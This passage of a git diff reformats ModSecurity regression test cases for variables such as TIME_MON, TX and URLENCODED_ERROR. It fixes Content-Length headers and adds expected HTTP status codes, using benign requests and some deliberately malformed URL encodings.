\"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_MON.json b/test/test-cases/regression/variable-TIME_MON.json index 663956ae5c..02307d24f1 100644 --- a/test/test-cases/regression/variable-TIME_MON.json +++ b/test/test-cases/regression/variable-TIME_MON.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_MON", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_MON", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_MON\\)" + "expected": { + "debug_log": "Target value: \"([1-9]|1[012])\" \\(Variable: TIME_MON\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_MON \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_SEC.json b/test/test-cases/regression/variable-TIME_SEC.json index 85f4c21310..bd3e277120 100644 --- a/test/test-cases/regression/variable-TIME_SEC.json +++ b/test/test-cases/regression/variable-TIME_SEC.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_SEC", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_SEC", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_SEC\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_SEC\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_SEC \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_WDAY.json b/test/test-cases/regression/variable-TIME_WDAY.json index 6fce8bdf05..bed668150e 100644 --- a/test/test-cases/regression/variable-TIME_WDAY.json +++ b/test/test-cases/regression/variable-TIME_WDAY.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_WDAY", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_WDAY", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_WDAY\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_WDAY\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_WDAY \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TIME_YEAR.json b/test/test-cases/regression/variable-TIME_YEAR.json index 435e841fed..930c5dd2be 100644 --- a/test/test-cases/regression/variable-TIME_YEAR.json +++ b/test/test-cases/regression/variable-TIME_YEAR.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TIME_YEAR", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TIME_YEAR", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9]+)\" \\(Variable: TIME_YEAR\\)" + "expected": { + "debug_log": "Target value: \"([0-9]+)\" \\(Variable: TIME_YEAR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule TIME_YEAR \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-TX.json b/test/test-cases/regression/variable-TX.json index 904628e9b7..d65dc12397 100644 --- a/test/test-cases/regression/variable-TX.json +++ b/test/test-cases/regression/variable-TX.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TX:0 (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.11", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TX:0 (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.11", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "13" }, - "body":[ + "body": [ "whee test 123" ] }, - "expected":{ - "debug_log":"(.*) Target value: \"123\" \\(Variable\\: TX\\:0(.*)" + "expected": { + "debug_log": "(.*) Target value: \"123\" \\(Variable\\: TX\\:0(.*)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecResponseBodyAccess On", "SecRequestBodyAccess On", @@ -44,177 +49,215 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: TX:0 (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: TX:0 (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"USER_TOKEN\" \\(Variable: TX:0(.*)" + "expected": { + "debug_log": "Target value: \"USER_TOKEN\" \\(Variable: TX:0(.*)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@rx ([A-z]+)\" \"id:1,log,pass,capture,id:14\"", "SecRule TX:0 \"@rx ([A-z]+)\" \"id:15\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: capture group match after unused group", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "uri":"/?key=aadd", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: capture group match after unused group", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" }, - "body":[ + "uri": "/?key=aadd", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added regex subexpression TX\\.3: dd[\\s\\S]*Target value: \"dd\" \\(Variable\\: TX\\:3[\\s\\S]*Rule returned 1" + "expected": { + "debug_log": "Added regex subexpression TX\\.3: dd[\\s\\S]*Target value: \"dd\" \\(Variable\\: TX\\:3[\\s\\S]*Rule returned 1", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (aa)(bb|cc)?(dd)\" \"id:1,log,pass,capture,id:16\"", "SecRule TX:3 \"@streq dd\" \"id:19,phase:2,log,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: empty capture group match followed by nonempty capture group", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "uri":"/?key=aadd", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: empty capture group match followed by nonempty capture group", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?key=aadd", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added regex subexpression TX\\.3: dd[\\s\\S]*Target value: \"dd\" \\(Variable\\: TX\\:3[\\s\\S]*Rule returned 1" + "expected": { + "debug_log": "Added regex subexpression TX\\.3: dd[\\s\\S]*Target value: \"dd\" \\(Variable\\: TX\\:3[\\s\\S]*Rule returned 1", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (aa)(bb|cc|)(dd)\" \"id:18,phase:1,log,pass,capture\"", "SecRule TX:3 \"@streq dd\" \"id:19,phase:2,log,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: repeating capture group -- alternates", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "uri":"/?key=_abc123_", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: repeating capture group -- alternates", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?key=_abc123_", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added regex subexpression TX\\.2: abc[\\s\\S]*Added regex subexpression TX\\.3: 123" + "expected": { + "debug_log": "Added regex subexpression TX\\.2: abc[\\s\\S]*Added regex subexpression TX\\.3: 123", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx _((?:(abc)|(123))+)_\" \"id:18,phase:1,log,pass,capture\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: repeating capture group -- same (nested)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "uri":"/?key=a:5a:8a:9", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: repeating capture group -- same (nested)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/?key=a:5a:8a:9", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added regex subexpression TX\\.1: 5[\\s\\S]*Added regex subexpression TX\\.2: 8[\\s\\S]*Added regex subexpression TX\\.3: 9" + "expected": { + "debug_log": "Added regex subexpression TX\\.1: 5[\\s\\S]*Added regex subexpression TX\\.2: 8[\\s\\S]*Added regex subexpression TX\\.3: 9", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx a:([0-9])(?:a:([0-9])(?:a:([0-9]))*)*\" \"id:18,phase:1,log,pass,capture\"" ] diff --git a/test/test-cases/regression/variable-UNIQUE_ID.json b/test/test-cases/regression/variable-UNIQUE_ID.json index e4ddd4e415..35abfaee87 100644 --- a/test/test-cases/regression/variable-UNIQUE_ID.json +++ b/test/test-cases/regression/variable-UNIQUE_ID.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: UNIQUE_ID", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: UNIQUE_ID", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"([0-9.]+)\" \\(Variable: UNIQUE_ID\\)" + "expected": { + "debug_log": "Target value: \"([0-9.]+)\" \\(Variable: UNIQUE_ID\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule UNIQUE_ID \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-URLENCODED_ERROR.json b/test/test-cases/regression/variable-URLENCODED_ERROR.json index 060df0b45b..cbe94dcacf 100644 --- a/test/test-cases/regression/variable-URLENCODED_ERROR.json +++ b/test/test-cases/regression/variable-URLENCODED_ERROR.json @@ -1,295 +1,322 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - GET (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - GET (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value%2", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value%2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,pass\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - GET (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - GET (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value&a=b%2a", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value&a=b%2a", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - POST (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - POST (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "31", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value12%¶m2=value2%2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,phase:3,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - POST (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "28", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - POST (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "36", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2&a=b5%2a\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - POST (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - POST (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "44", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "a=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%AC" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - GET (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - GET (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?z=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%A%AC", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?z=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%A%AC", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", 